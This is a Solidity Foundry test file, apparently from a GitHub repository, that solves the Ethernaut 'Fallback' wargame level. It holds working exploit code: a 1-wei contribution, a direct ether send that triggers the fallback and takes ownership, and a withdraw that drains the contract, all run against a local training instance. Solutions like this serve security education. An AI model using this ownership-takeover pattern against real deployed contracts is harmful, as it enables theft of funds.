-
Notifications
You must be signed in to change notification settings - Fork 76
/
Fallback.t.sol
58 lines (46 loc) · 2.07 KB
/
Fallback.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
pragma solidity ^0.8.10;
import "ds-test/test.sol";
import "../Fallback/FallbackFactory.sol";
import "../Ethernaut.sol";
import "./utils/vm.sol";
contract FallbackTest is DSTest {
Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D));
Ethernaut ethernaut;
address eoaAddress = address(100);
function setUp() public {
// Setup instance of the Ethernaut contract
ethernaut = new Ethernaut();
// Deal EOA address some ether
vm.deal(eoaAddress, 5 ether);
}
function testFallbackHack() public {
/////////////////
// LEVEL SETUP //
/////////////////
FallbackFactory fallbackFactory = new FallbackFactory();
ethernaut.registerLevel(fallbackFactory);
vm.startPrank(eoaAddress);
address levelAddress = ethernaut.createLevelInstance(fallbackFactory);
Fallback ethernautFallback = Fallback(payable(levelAddress));
//////////////////
// LEVEL ATTACK //
//////////////////
// Contribute 1 wei - verify contract state has been updated
ethernautFallback.contribute{value: 1 wei}();
assertEq(ethernautFallback.contributions(eoaAddress), 1 wei);
// Call the contract with some value to hit the fallback function - .transfer doesn't send with enough gas to change the owner state
payable(address(ethernautFallback)).call{value: 1 wei}("");
// Verify contract owner has been updated to 0 address
assertEq(ethernautFallback.owner(), eoaAddress);
// Withdraw from contract - Check contract balance before and after
emit log_named_uint("Fallback contract balance", address(ethernautFallback).balance);
ethernautFallback.withdraw();
emit log_named_uint("Fallback contract balance", address(ethernautFallback).balance);
//////////////////////
// LEVEL SUBMISSION //
//////////////////////
bool levelSuccessfullyPassed = ethernaut.submitLevelInstance(payable(levelAddress));
vm.stopPrank();
assert(levelSuccessfullyPassed);
}
}